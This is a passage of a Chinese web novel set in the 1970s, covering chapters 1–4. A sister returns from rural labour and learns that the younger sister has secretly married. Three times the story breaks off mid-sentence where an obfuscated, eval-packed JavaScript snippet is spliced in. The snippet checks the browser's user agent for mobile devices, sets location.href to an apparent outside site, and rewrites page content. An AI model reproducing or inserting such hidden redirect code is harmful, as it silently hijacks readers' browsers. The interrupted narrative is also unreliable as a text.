《从结婚开始的爱情[年代]》 1. 第 1 章 向晴今天起得很早,今天是她大姐向雾插队回来的日子,她们全家出动,去火车站迎接这位阔别家中六年已久的亲人。 也是碰巧,向雾回来这天,正好是星期天,赶上向家父女不用上班,所以周芳大手一挥,决定一家子一起去接这位“大功臣”。 十几天前,周芳收到女儿的来信,信中说她被北清大学录取,不久后就能从乡下返城。 周芳激动地拿着信前前后后读了十几遍,泪珠子挂满脸颊,心中是既心疼又欣喜。 向存志也没想到,女儿走的时候高中还没毕业,再回来居然就考上了大学,向雾插队的地方条件十分艰苦,除了干活还要复习功课,可想而知女儿付出了多大的努力。他这个大女儿最是要强,从小到大事事都要争第一,就连插队也选的是最艰苦的地方。 向存志很感慨,他们老向家也是出了一位大学生,这让他很骄傲,有儿子有什么用,还不是都是回城的待业青年,整个四合院里,可只有他老向家的女儿考上了大学。 “小晴,快点,别磨蹭了。”周芳系好盘扣棉袄的最后两颗扣子,眼睛盯着小女儿催促着,“万一火车提早到了,这么冷的天让你大姐在寒风里吹着该生病了。” 向晴刚刷完牙,牙膏沫子还在嘴边挂着,周芳催得急,她连热水也没倒,直接用脸盆里的凉水捧了两把拍在脸上,揪下架子上被洗的褪色的粉毛巾到脸上胡乱的擦了两把。 她原本还想擦点雪花膏,被这么一催,早就忘了这回事。 “现在才七点多,火车九点多才到,哪里用的着这么着急。”向晴一面说,一面把红色格子罩衫绕到背后,一只手揪着领子,另一只胳膊顺势窜进袖子里。 周芳是个急性子,有点事情就容易着急,从收到大女儿的来信就开始为这一天准备,又是晒被子,又是买排骨,就连原本给小女儿织的新毛衣又添了几团毛线,直接成了大女儿的。 在她的记忆里,向雾走的时候是比现在的向晴高大些的,不过插队那么辛苦,约莫是瘦了些,但是做的宽松些总比窄小了强。 “不怕一万,就怕万一。”周芳眼见着向晴凌乱的头发,径直拿起窗台上的木梳,给她梳起了头发。 向晴照例是梳着两条麻花辫的,但是今天周芳也没心思给她分头发,只囫囵的梳了一个大辫子在脑后,向晴的头发又多又长,平日里梳着两个辫子倒没这么明显,现下里乌黑浓密的头发变成一股之后更显得鼓囊。 周芳梳头的时候,瞥见小女儿毛衣领子上褪色的毛线球,心中不免又有些内疚。 原本这件毛衣已经穿了三四年,周芳想着今年替她做一件新的,正好马上要过年了,有新衣服穿总是开心的。 但是大女儿此时回来,不用想就知道她的衣服都破旧成什么样,这就让她纠结起来。 要是时间来得及,其实是可以把自己那件半新不旧的毛衣拆了线,洗净再织一件新的,但是奈何临近年关,她一个人两只手根本来不及做出两件,所以只能有一个女儿穿旧的,一个女儿穿新的。 好在小女儿懂事,看出了她这个心结,豪爽的退出新毛衣争夺战,她说姐姐比她更需要这件毛衣。 “太冷了,门口地上那冰碴子敲都敲不动。”向存志倒完痰盂,撩开厚重的黑色门帘进来,“也不知道你姐穿的够不够厚。” 向晴低头扣上最后一颗扣子,抻了抻袖子说:“我姐去的可是北大荒,听说那里更冷,能不多穿吗,您和我妈就是瞎担心。” 这时周芳也把女儿的头发梳好了,梳子随手一放,拿起早就搭在椅背上的围巾和口罩,递到向晴面前。 “都说儿行千里母担忧,何况你姐还行了这么多年,眼见着就要回来了,我和你爸能不记挂吗。” 说着周芳又拿起自己的围巾,快速的裹在头上。 “得,我算是看出来了,这个家以后算是没有我说话的地位了。”向晴裹好围巾,戴上口罩,从桌上拿起那副绿色的挂绳手套往脖子上一绕,两只手麻利的塞了进去。 周芳和向存志早已习惯小女儿的贫嘴,也不搭理她,一个推车,一个锁门,三口人一起出了院门。 今天是星期天,院里的人都不用上班,再加上又是寒冬腊月,所以还没有几家亮灯,唯一亮了灯的是向家对面的钱家,儿媳妇刚生下孩子不久,小男孩嘹亮的哭声透过玻璃窗穿透冷寂,不知怎么的,向晴听起来心里还有股热乎的感觉。 出门的时候也才不到七点半,向家住的地方离火车站不算远,骑车不到二十分钟就能到。 向家原本只有一辆自行车,向存志上班的机床厂离家远一些,一般都是他骑,向晴工作的国棉厂离家近,她腿儿着就能去。 今天因为去接向雾,向晴和院子里的发小孙长明借了一辆车,这样更方便些。 向存志带着周芳一辆车在前,向晴自己一辆车,在后面紧咬着。 天刚微微亮,街上只有零星几个人,捂得严严实实低着头赶路。 今天风不算大,但是骑起车来,刺骨的冷风还是会迎面吹来,冬天的风打在脸上是刺痛的,即便向晴已经把脸裹得很严实,但是眼周还得露在外面,接受着冷风的洗礼。 即便只有二十多分钟,但是在这冷风里也扛不住这么久,到的时候三人已经冻得有些僵,把车停到外面就进到了候车室。 周芳一进门,本来还想着找个地方坐一会儿,没想到里面的人站的满满的,有要走的,有接人的。 人群里不是穿着一身蓝色,就是一身绿色,不同的只有头上戴的帽子或者围巾,蓝蓝绿绿的压压站着一片。 “这人还真多。”向存志摘了手套,两只手搓磨着取暖,四处望了望,没有发现向晴,问道:“小晴去哪了?” 周芳跺了跺冻僵的脚,冻得缩成一团,这时才注意到少了一个,她疑惑道:“刚刚停车的时候还在啊。” 向晴进门前,看见不远处有个油条摊子,闻着油的香味胃里忽然咕噜了一声,她掏了掏兜,里面装着之前剩的粮票和钱,二话没说就去买了三根热腾腾刚炸好的油条,她想着向雾到站还得一会儿,现在买了,待会儿凉了就不好吃了,预备着等她快要到的时候再来买一次。 她两只手抓着油条,用胳膊肘撩起半扇门帘,准备用一半身子撞开大门,这时门却突然推开了,她往旁边一看,是一个比她高出半个头的男人,穿着臃肿,戴着雷锋帽把脸挡的严实。 向晴也没过脑子,笑呵呵的顺着开了的门走进去,嘴上答谢道:“谢谢您大爷。” 谁知那人却转过头,白了向晴一眼,语气略冲说:“你才是大爷。” 向晴这才看清原来对方是一个二十出头的小年轻,忙给人家点头哈腰的赔不是:“真不好意思,刚刚没看清脸,你不是大爷,我是大爷,我是大爷。” 那人冷冷的看了向晴一眼,面无表情的往里走开。 这一幕恰好被向存志和周芳看到,周芳感慨说:“也不知道咱这女儿随了谁,大大咧咧的,一点女孩子样儿都没有,这以后......” 周芳忽然顿住了,没再继续说下去,她原本想说,这以后谁敢娶她,可是忽然又想起来,人家早就自作主张领了证结了婚,哪里还用得着她操心。 想到这儿,周芳心中不禁默默叹了口气,即便事情已经过去了四年,但是那根刺还是扎在她的胸口,一想起来就刺的闷疼。 向存志却很喜欢小女儿的性格,阳光开朗,什么事都不放心上,有主见有担当,要是个男孩子就更好了,没有儿子一直是他的一个心病。 “爸,妈。”向晴挥了挥手上的油条,躲避着扛着大包的人流,向二人走来。 她用两只手指揪下口罩,又把油条拿给二人说:“刚出锅的,还冒着热气儿呢,快吃吧。” “又乱花钱。”周芳虽然嘴上责备着,但是手还是听话的接了过来。 向晴找了个人少的角落,三个人围成一个小圈,一口一口的咬着油条。 这时周芳忽然想到什么,嘴里的东西还没咽下去,鼓鼓囊囊道:“你也没说给你大姐买一根。” 向晴咽下嘴里的油条,若隐若现的喉结上下跳动,“等她快到了我再去买,凉了就不好吃了。” 向存志点点头,肯定女儿的做法。 喇叭里传来有车要出发的消息,原本人满为患的车站瞬间就剩下一半的人,向晴眼尖,早就盯着一排准备离开的人,只待他们一起身,她嗖的一下就冲了过去,占了三个位置。 周芳和向存志也立即跟了过去,一把年纪了,也确实站不了太久。 大厅正墙上,挂着一个半人大的钟表,向晴周芳向存志三个人,轮流着偏头去看,心中就像挠痒痒一样,早就急不可耐了。 终于,熟悉的喇叭声又响起,广播员用洪亮且标准的普通话,念出了即将到站的车次,正是向雾那趟车。 周芳听见声音立即就坐不住了,拍了拍向存志让他起来。 一旁的向晴说:“我现在去给我姐买油条,马上回来。” 虽然向晴没有父母那么急切,但是架不住氛围烘托着,时间催促着,自己也跟着急了起来。 一出门凉气直冲面门,冷的她牙齿直打颤,立即把挂在脖子上的口罩又戴了回去,小跑着到了刚刚的摊子上。 “师傅,再来根油条。”她说着从兜里掏出刚刚找给她的零钱和粮票,又拿给了师傅。 炸油条的间隙,她在地上左右脚摇晃着,想要用动作产生些热气。 “师傅,要两根油条。” 一道熟悉的声音忽然在向晴的耳边再一次响起,向晴下意识抖了一下肩膀,动作停了下来,微微侧过头看去,真的是他! 这道声音她再熟悉不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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向雾接过向晴递过来的油条,还真有些饿了,从上火车到现在,只吃了一点老乡给她带的窝头,昨夜肚子一直在咕咕叫,想着到家了一定要大吃一顿。 “懂事了,知道心疼姐姐了。”这是向雾见到向晴之后的第一句话,第一句话就是夸奖了她。 向晴的眼泪终究在这一刻得到释放,她把头深埋进围巾里,小声的呜咽着。 向家只有两个女儿,大院里多是男孩儿,免不了会欺负小女孩,向雾知道那些小男生的臭德行,所以每次妹妹受了欺负回家哭诉,她都会第一时间冲到人家家里去,冷着个脸当众讲理。 所有人都觉得是小孩子之间的玩闹,不要紧,但是向雾却每次都会大“闹”一出,一来二去,她的威名已经遍布整个四合院,再也没人敢欺负向晴,再然后,向晴就成了院里的孩子王。 所以向雾在整个大院里的形象就是,凶悍的,不好惹的,强势的,可是只有向晴知道,她的姐姐有多么温柔,多么心细。 而现在,那个外表强势的姐姐,又一次对她袒露出了那种充满温柔意的眼神,攻溃了她的心理防线。 “好了,别哭了。”向雾走过去摸了摸向晴的头,低着头去找她深埋的脸,“不知道的还以为你是插队回来的。” 向晴忍住泪,抽泣了两声,用头上的围巾擦干眼泪,抬起头看着向雾,哽咽道:“你先把油条吃了,垫垫肚子,我们再走。” 向雾笑着,又把向晴脸上残留的泪珠子擦了擦,感慨说:“还是那么爱哭。” 一家四口终于团聚,车站里不论是来的人,还是要走的人,为的也就是一个和家人团聚,大家都在用自己的方式奔波着,去见自己爱着的人。 向雾饿极了,一根油条很快下肚,周芳泪眼婆娑的笑着说:“走走走,赶快回去,妈给你做你最爱吃的排骨和炸酱面,炸酱面还是和你妹妹学的新做法。” 向雾惊讶地看着向晴:“是吗,这么厉害,还会做饭了?” 向晴挺了挺胸脯道:“那当然了。” 周芳和向存志一人提着一个大包走在前,向晴搀着向雾走在后面。 还没出站门,刚刚那道声音又响起来。 向晴故意没有转头去看,想拉着姐姐赶快离开,可是偏不巧,向雾觉得声音有些耳熟,偏头看去,认出了祁衿南,旁边还有一个女孩子,看上去和向晴差不多大,应该和她是一趟火车,祁衿南是来接她的。 她用胳膊肘推了推向晴说:“那不是祁衿南吗,好像是来接人的,还是个漂亮的姑娘,你不和他打个招呼吗?” 向晴原本就心里堵得慌,听见“漂亮姑娘”几个字更甚,胸中的怒火直接窜到了脸上,胀热起来。 “不打!” 她加快了脚下的步伐,拉着向雾就出了大门。 向雾只当是她不在的时候,两个人闹了什么矛盾,也没多想,就跟着向晴离开了。 2. 第 2 章 回到家,已经快十点了,周芳昨晚就把排骨解冻好,一回来就进了厨房,开始给女儿张罗着做饭。 说是厨房,其实就是一进家门口的一小块空地,单独隔出来用来做饭。 向晴顺手拿下在一旁挂着的蓝布围裙,环住周芳瘦干的腰,给她系好。 向存志帮女儿放下行李,连棉袄都没顾的脱,先看顾起炉子,加了块蜂窝煤。 向家不算大,只有三间屋子,一间是向存志和周芳住的,一间用作客厅,剩下最小的一间,就是两个女儿的房间。 向雾一进那个房间,立马勾起了多年的回忆。 她的那张床还是那么整齐,蓝白格子的床单和她走的时候一模一样,上面还散发着阵阵的皂香。被子一看就是刚拆洗过,厚实的程度赶上她在插队的时候的两倍。 书桌上她的东西还是整整齐齐的摆在那,她的那些奖状还在墙上贴着,好像什么都没变。 向雾没有直接坐下,回来的太匆忙,身上的衣服也没来得及洗,加上又在火车上磋磨了一天一夜,车厢里的烟味儿,饭味儿都在身上,总归是有点膈应。 向晴按下心中的波澜,不再去想祁衿南,今天这么开心的日子,不想提他,而且她和祁衿南结婚的事情还没有告诉姐姐,她还没想好怎么开口。 她转身从樟木箱子里拿出一条几乎全新的灰色的确良裤子和周芳刚织好的黄色高领毛衣递给向雾,笑着说:“换上吧,新的,裤子就穿过一次,毛衣可是妈刚织的全新的,本来是给我的,知道她的大女儿回来,立马加了团毛线成你的了,你就说咱妈多偏心。” 向晴心里其实并不这么想,只不过嘴上玩笑惯了,顺口就说出去了。 向雾指了指,让她放床上,麻利的解开用绳子做的腰带,褪去补丁加补丁的长裤。 向晴抵坐在书桌上,一个扭身,把窗帘拉上。 向雾嘴上不服输的调侃起来:“是啊,咱妈从小就偏心我,是我总生病,她一夜一夜守着我不睡觉,是我贪吃,送人的桃酥全都偷偷吃晚了也没被惩罚,都是我,都是我干的。” 她说的这些,都是向晴做的,从小到大她都是调皮的那个,由于生下来向晴就体弱,所以周芳总是格外关心她一些。 在向晴之前其实还有一个儿子,因为发烧,生下来不久就去世了,所以到了小女儿这里,周芳只觉得调皮就调皮些吧,健健康康的就行,所以不论她闯什么祸,都没和她生过气。 这么多年,也只有那么一件事,让母女俩吵的不可开交,向雾不在,所以并不知情。 向晴撇了撇嘴,没有继续这个话题,转而道:“恭喜你啊,就要成为大学生了,还是咱这院子里出的第一个大学生,别提多风光了,咱爸咱妈可是逢人就提,现在四邻八舍就没有不知道的。” 向雾刚换上裤子,又从脖子上褪下毛衣,静电噼里啪啦一顿乱响,连带着头发也起了静电,像一只炸了毛的猫咪。 “现在高考放开了,大家都能考,以后考上的只会越来越多,今年你也去报名,我给你补习。” 说着,向雾迅速换上那件新毛衣,向晴上手帮她纠正肩膀,把领子翻下去。 “我就算了吧,我都多少年没认真学过习了,肯定考不上。” 她打量着向雾,满意的点点头:“合适,稍微宽松些穿着也舒服。” 向雾也很满意,她已经很久没有穿过新衣服了,不只是心理作用还是新毛衣的原因,她觉得比刚刚暖和了不少。 她笑意盈盈的冲着墙上的镜子照了照,抚顺额头上斜乱的几缕头发,左转转右转转打量着自己的新衣服,露出一个满意的笑容。 嘴上还不忘继续劝着向晴:“没试过怎么知道不行,难道你就想在国棉厂做一辈子纺织女工啊。” 这句话又让向晴的心沉了一沉,微微的低下头,正想说些什么糊弄过去,正巧,向存志发了话,解救了她。 “小雾,出来洗洗手擦把脸,水都给你倒好了。”向存志在屋外喊着。 “来了来了。”向雾拽了拽毛衣角,拿上换下来的脏衣服,“待会儿再和你说。” 向雾是铁了心要妹妹考大学的,虽然在工厂有一份正式的工作不知道是多少人艳羡的一件事,但是毕竟向晴还年轻,再加上现在政策也放开了,她也回来了,时间一抓一大把,可以帮她复习。 等考上大学,分配的都是些坐办公室的好工作,这不比在工厂受累强上许多。 向晴倒是对考大学兴趣不大,毕竟她也知道自己不是学习那块料。 向雾一出门,向存志一眼就认出这是周芳前几天刚织好的新毛衣 他弯着眼笑着看着女儿,嘴上不住夸耀道:“这新毛衣一穿,人精神了不少。” 周芳一听新毛衣,忙从玻璃后探出半个身子,手上的大勺在锅沿磕了两声。 “真好看。”周芳上下打量着自己的两个杰作,忍不住满意的夸赞说,“我闺女还是扛衣服,我还怕大了呢。” “不大,穿着正好。”向雾抬起双手,又转了个身给周芳做了个展示,“我现在比从家走的时候精壮了不少,毕竟是干体力活的,练出来了。” 周芳一听“体力活”三个字,瞬间又蔫了下去,到底是吃了不少苦,实在是让人心疼,既然回来了就得多补补,心里想着,手上又拿起香油瓶子,往大勺儿里倒了一股,搅和到菜里。 向存志端过来晾好的温水,端给向雾,向雾敏锐的发现,这还是一个新的搪瓷缸。 向晴则从桌旁绕过去,到周芳身边去帮忙。 她现在是在国棉厂的后厨做帮厨,打杂的活计怕是没人比她麻利。 向晴先是去院子里的玻璃窗下的木板子上,拿了一颗过冬储存的大白菜,两三下摘掉枯了的叶子,到水池边冲洗,凉水刺的手生疼,她看着自己皴裂的双手,自顾自的叹了口气,有些顾影自怜的意味。 虽说做纺织女工的时候,她的手也多多少少有些粗糙,但是怎么也比不过这后厨费手,原本还买了蛤蜊油来用,但是架不住来活快,刚涂上又要下水,尤其是到了冬天,这手上的裂口再怎么保养也消不下去。 原本一双白净细滑的手,现在看上去倒像是五六十岁。 “洗菜呢。” 头顶上忽然冒出的声音拉回向晴飘远的思绪,她抬头看去,对方是她的高中同学,吴健。 她关上还在哗哗流水的水龙头,甩了甩手里的大白菜。 向晴没有给他过多的笑脸,只是简单的客套了一句:“你怎么来了?” 吴健是向晴众多追求者中不算起眼的一个,但是也是最执着的一个,其他人知道她结婚了,对方还是一个家庭成分不好的人,早就躲得她远远的,生怕受到什么牵连,而吴健却一如既往的时不时来向晴眼前晃悠,甚至比以前次数更多。 “我来祝贺你呀,恭喜你姐考上大学。”吴健说着扬了扬手里的点心匣子和罐头,笑意更浓。 “你怎么知道的?”向晴不解,难道她妈已经把消息传的这么远了?不应该啊,吴健父母都是军人,住的是部队大院,两家离得都快跨过半个市了,怎么也传不到那儿啊。 “是我姑姑,她是向雾姐的大学导师,我在她那儿看到了名单。”吴健解释着,脚上不停,跟上往回走的向晴。 吴健殷勤着为向晴撩开门帘子,自己也跟着进去,一进门就见她们一家都在,立马嘴甜的和离得最近的周芳先打了招呼。 “周阿姨,恭喜您家出了一个大学生。” 向晴默默地走到菜板子旁,拿起菜刀开始切白菜,她知道这话算是说到她妈心口子上了,怕是午饭也会留他在这儿吃,这个人肯定是故意的。 果不其然,这话让周芳原本已经渐渐褪去的虚荣心一下子又回来了,她忙放下锅盖,双手在围裙上杠了杠,眼周笑的纹路四起,亲切的招呼道:“这不是小吴吗,快进来,外面多冷啊。” 吴健先是瞥了一眼向晴那边没有动静,才敢跟着周芳进了里屋,要是向晴不让他进,他是万万不敢进去的,他庆幸自己今天来对了,这么好的日子,向晴肯定会给他这个面子的。 “来来来,快坐。”周芳为他拉出椅子,嘴上又吩咐着,“老向,快给小吴倒杯热水,再沏点你的茶叶。” “不用阿姨,我喝水就行。”吴健忙拒绝道。 “行,那就喝水。”周芳也不和他客气,毕竟茶叶那么稀有,她也不舍得。 向存志不多时便端了一杯刚刚为女儿烧的滚烫的热水来,把搪瓷缸子放到他面前,坐在他对面。 周芳接着问:“是小晴和你说的,她姐姐考上大学了?” 吴健又把刚刚和向晴解释的原因和周芳讲了一遍,还顺便把手里的点心匣子和罐头摆到了桌面上。 周芳一听吴健的姑姑是女儿的老师,笑的更浓了,说起话来更客气了:“没想到咱两家还有这种缘分,你和小晴是同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407379|184546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,你姑姑是小雾的老师,以后还要请你姑姑多费费心,多照看照看小雾,我和他爸都没读过几年书,也帮不上她。” 吴健忙连声应下:“您放心吧阿姨,向晴的姐姐就是我的姐姐,我姑姑保管上心。” 周芳和向存志听了这话心里更是乐开了花,一定要留他在这里吃午饭,吴健假意推脱了几下,最后装作盛情难却的样子留了下来。 向存志让他先喝水,饭马上就快好了,又问他抽不抽烟,他连连摆手说自己不会。 原本向存志对吴健的态度一般,一是因为女儿不喜欢他,二是向晴又和祁家的小子领了证,即便他再不满意祁衿南这个女婿,也不会允许女儿在结婚期间和别的男人来往过密。 不过今天,他心里紧紧咬合住的齿轮,好像有些松动的迹象,他认真的端详着吴健,脸上肉肉的把眼睛挤成一道缝,是那种有福相的长相,不动的时候有些呆呆的,这一身军大衣让他看上去很精神,弥补了一些自身的不足。 他忍不住拿吴健和祁衿南做起了对比,想起最后一次见祁衿南还是在他和向晴两个人领证之前,也不知道这个小子回没回来。 祁衿南比吴健瘦些,更精壮,个子更高,长得也招女孩子喜欢,性子嘛也更活泛,要不是因为家庭成分,其实向存志还挺满意他这个女婿的。 一直在一旁旁观着的向雾不知何时已经到了向晴身旁,她往里瞅了一眼吴健厚实的背影,笑嘻嘻的八卦道:“你俩什么关系?” 向雾并不知道向晴结婚的事情,所以还以为她和吴健正在或者即将要处对象,看男生的样子,应该是很喜欢自己妹妹,说是来祝贺她考上大学的,但是明眼人都能看得出,醉翁之意不在酒。 就她过来这一会儿,对方已经往后瞟了好几眼了。 “没关系,就是普通同学。”向晴不耐烦的解释着,把白菜和切好的土豆放进了炖着排骨的大锅里,一起煨着。 周芳看汤还多,又弯腰往灶里加了点木头,随后小声的冲着两个女儿道:“你俩快进去陪客人说说话,这里有我就够了。” 向晴有些不情愿,但是这么喜庆的日子也不好摆脸,只能听话的在盆里净了净手。 向雾这才注意到妹妹那双皴裂的手,她皱眉问道:“这手是怎么回事?” 向晴心里咯噔一下,完了。 即便是向雾自己下乡插队,手也没像向晴被折腾成这样,看她这手可不是一朝一夕来的。 向晴心忽然提到嗓子眼,心虚的把手背到身后,脑海里迅速找着借口:“这大冬天谁的手不皴啊,没啥事儿,我用蛤蜊油擦擦就好了。” 向雾不信,她和向晴纠缠着,用自己下地干活儿的劲儿,把向晴的背后的手揪了出来。 向晴还在挣扎着,向雾厉声说了句“别动!” 向晴瞬间蔫儿了下来,感觉忽然间回到了小时候姐姐教训欺负她的小男孩的时候。 向雾细细的端详着向晴的手,皴裂的小口子一处接一处,让她止不住地心疼。 见妹妹不肯开口,父母也一脸难为的样子,只好朝外人发问。 “你说!”向雾也不管他是不是客人,冷冷的朝他吼了一句。 吴健被向雾的气势吓到,手足无措的站起身,眼睛在向晴身上打转,嘴巴长了又开,始终说不出一句话。 向晴胸中那股子气忽然就上了头,“好了姐,我和你说,你想知道什么我都和你说!”说着用力把自己的手抽出来。 “祁衿南插队前,我和他结婚了,厂里因为这件事,把我调到后厨做了帮厨。” 向雾一下子忘却了向晴的手,只有“结婚”二字盘旋在脑海,她从小那么宝贝的妹妹,就这么嫁人了,还没有告诉她,这犹如一道晴天霹雳击穿她的认知,让她一时间接受不了,嘴里不断嘀咕着“结婚”二字。 周芳,向存志,吴健,三个人大气不敢出,直愣愣的站在那,面色凝重。 向晴知道再待下去一定会起争吵,索性她还是先出去避避,先让姐姐冷静冷静,于是趁着向雾还没回过神,她拿起衣柜上的棉袄围巾和口罩,径直出了门。 周芳见她开门要走,急忙想拦下,这么冷的天出去再冻感冒,但是手只揪住个衣服袖子,人已经到了屋外。 吴健忙得跟了上去,和周芳说了句“周阿姨放心,我去追小晴。” 周芳见有人追出去,也就放下半颗心,还有半颗心,紧紧挂在大女儿身上。 3. 第 3 章 冷,真冷,刺骨的冷。 向晴缩着脖子在寒风里系上扣子,裹上围巾,戴上口罩,做完这一切又觉得手已经要冻僵,下意识去脖子上找手套绳,这才发现走的太匆忙根本没有拿手套,只能呼哧呼哧的把手攥着拳放进兜里。 “小晴,小晴,你等等我!”身后吴健的声音顺着风飘来,他骑着自行车停到向晴身边。 原本向晴心里烦躁极了,并不想理他,但是她深知,吴健这个人就像狗皮膏药一样,沾上就甩不下来,干脆就把话说开,彻底断了他的念想,以后不要再来往。 “吴健,你回去吧,以后都不要再来找我了。” 说罢向晴就要走,吴健急忙拉住向晴的胳膊,“小晴小晴,你别生气,向雾姐好不容易回来,她就是不知道这件事的前因后果才生气的,你把这件事和她解释清楚,向雾姐肯定会理解你的。” 吴健始终认为,向晴是因为迫不得已,良心上过不去,才会和祁衿南结婚的,所以他们迟早也会离婚的。 向晴拔高音量:“解释什么?”向晴一使劲,把胳膊抽出来,“事情就是这么个事情,证儿也领了,还有什么好解释的,吴健,我今天就把话和你说清楚,就算我不和祁衿南结婚,也不会和你在一起的。” “为什么,为什么我不可以,我哪里做的不好,你告诉我,我都改!”吴健有些急了,连带着声音也提高了许多。 “我问你,你是怎么知道我姐是今天回来的?” 刚刚她们一家人都在,这么好的日子她也不想戳破他,现在倒是无所谓了。 吴健愣住片刻,没有想到向晴问的是这个问题,他支支吾吾说:“是...是我舅舅告诉我的。” “你不和你舅舅说我姐的名字,你舅舅查得到吗?”向晴直接点破他的谎言。 吴健的舅舅是负责知青返城工作的,一定是吴健在他姑姑那里看到了向雾的名字,又去找了他舅舅,让他帮忙打听向雾的返城时间。 这就是向晴不喜欢吴健的原因,他总是打着为她好的旗号,用尽一切手段掌控她的一切消息,哪怕是隐私也要知道,这让向晴很不舒服,他就好像一个紧箍咒,想要时时刻刻禁锢着向晴,让她无法脱离他的掌控。 吴健还在做着最后的挣扎,企图用为你好的理由掩盖自己的掌控欲。 “我也是好心,我就是想让我舅舅帮忙问问,看看向雾姐回没回来,要是没回来可以让我舅舅托托关系,把向雾姐调回来。” “谢谢你的好心,我姐现在也回来了,就不劳烦你了。”向晴正欲走,想想还差点什么,又来了一句更狠的,“对了,祁衿南也回来了,他是我的丈夫,以后你不要随便来找我,我们两个人是要一起好好过日子的。” 说罢向晴头也不回的扭头就走,吴健想要追上去,但是脚却像灌满了铅,一步也挪动不了,他就这么站着,内心那股压抑了很久的怒火终于在此刻喷涌而出,他不甘心,不甘心把向晴就这么拱手让人。 气愤裹挟着他为他对抗着寒意,身侧的自行车结结实实的挨了一脚轰然倒地。 一旁的过路人十分不解的往这边看了看,这么好的自行车怎么说踢就踢,可能自行车自己也觉得莫名其妙。 向晴就这么一直走着,七拐八拐的竟然就到了第一医院。 这是祁衿南姐姐祁青西工作的地方,当年因为医院人手紧缺,所以祁青西并没有下乡插队,祁父祁母劳动改造之后,市里就剩下她和祁衿南二人在这里,原来的住房被收了回去,他们一个住在医院宿舍,一个住在祁衿南爷爷的大杂院旧屋子里。 因为祁青西是为数不多理解她的人,所以祁衿南不在的时候,她经常来医院宿舍看她,每次来都会带着后厨里多余的饭菜来。 她知道祁青西很忙,有时候忙到都没时间吃饭。 她在医院宿舍的筒子楼前踌躇了半晌,那个台阶就是迈不上去。 进去也不知道该说些什么,万一青西姐说起祁衿南,她都没法接话,说不知道他回来吧,青西姐肯定会担忧两个人是不是出了什么事情,说知道他回来吧,她又不是个会撒谎的人,找补不了,想想还是还是不进去了。 正当要转身的时候,背后却响起了一道清脆的声音:“是小晴吗?” 向晴心中“咯噔”一下,完了,走不了了,她挤出一个微笑转过头去。 祁青西昨天值班,今天早上回来出去买了些菜准备在家里做饭,回来就见一个熟悉的背影在楼前站着,她是给了向晴钥匙的,就是怕她来的时候她不在,好让她直接进去等。 祁青西一手提着菜篮子,另一只手顺势搀住向晴,弯着眉眼关切道:“怎么不进去啊,这么冷的天再冻着。” 向晴尴尬笑笑,借口说自己忘带钥匙了,祁青西笑着说她傻乎乎的,去楼里等也好过外面这么冷,拉着她便上了楼。 这个点已经晌午了,拥挤的楼里全是做饭炒菜传出的香气,向晴想起刚刚自家锅里的排骨,好好的一顿团圆饭就这么散了,也不知道他们吃的怎么样。 “小西回来啦。” 说话的是祁青西同事的母亲,两个人一个科室的,最近生完孩子,把妈妈接过来照看月子。 “诶,赵大妈,月月和孩子都好吧,等会儿我过去看看。” “好着呢,就是月月奶水不太够,我这不是给孩子煮点米汤?喝。”赵大妈说着,铁勺子在锅里搅了两下。 “商店里不是有卖奶粉的吗?让刘爽托托关系弄点票来,去商店里买点。” 刘爽是月月的丈夫,也是她们医院的医生,只不过不是同一个科室。 “买了买了。”赵大妈生怕别人觉得女婿对女儿不好,忙解释说:“那也不够喝啊,而且奶粉又贵又少,还是得配上些米汤。” 奶粉在现在算是稀罕物,不仅需要票才能买,而且货源也不稳定,不一定什么时候才能补货,这一桶奶粉还是女婿好不容易托了好几层关系买来的,每喝一勺赵大妈都心疼的不行。 这毕竟是人家的孩子,人家的家务事,祁青西也不好说别的,说了句“那您忙”就带着向晴进了屋。 医院的筒子楼是集中锅炉供暖,上下楼串联,所以这就导致了楼上热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说到这儿,向晴好像也联想到了自己身上,原本对祁衿南的感情愧疚居多,谈喜欢还谈不上,现在如果他真的要和她离婚,她心里倒是有些不明所以的缱绻,说不上来是什么感觉,只觉得有些胀胀的,堵得慌。 祁青西觉出味儿不对,立即问道:“怎么了,是衿南和你说什么了吗?” “没说什么,他回来都没有来找我,怕是准备要离婚了吧。”向晴用搪瓷缸暖着手,耷拉着脑袋,无聊的磕着脚尖。 “怎么会!”祁青西惊讶着说,“他前天还说准备给你个惊喜,让我替你保密。” 说完这句话,祁青西立马意识到自己已经把弟弟给卖了,捂着嘴瞪大了眼睛,一脸惊慌的样子。 此时,门缝隙传来的声音把这一惊慌拉到了顶级。 “姐,开下门,看我给你带什么好东西了。” 向晴一下子就听出了祁衿南的声音,她的眼皮子伴随着祁衿南爽朗的声音跳了一跳,不知怎么的,一颗心忽然紧张起来,她离得门近,索性“哐当”一声放下杯子,拉开插销,开了门,站在了门板靠后处。 祁衿南还以为是姐姐开的门,也没有朝门那边看,两手的重物让他只有进门放东西这一个念头。 他把两个网兜平稳的放到了祁青西旁边的书桌上,没反应过来还笑着和祁青西搭话。 就在向晴把门插上的一瞬间,他才忽然意识到哪里不太对,这屋里还有一个人! 祁衿南猛地转身看去,门前站着的,是他的妻子,向晴。 4. 第 4 章 四目相对那一刻,阔别四年的想念流转在祁衿南眼眸中,门外叽哩哐当的小孩子的玩闹声仿佛不存在,祁衿南满心满眼都在向晴身上。 向晴也像是被定住了,一动不动的盯着对面的人,衣袖下的手紧紧握着拳。 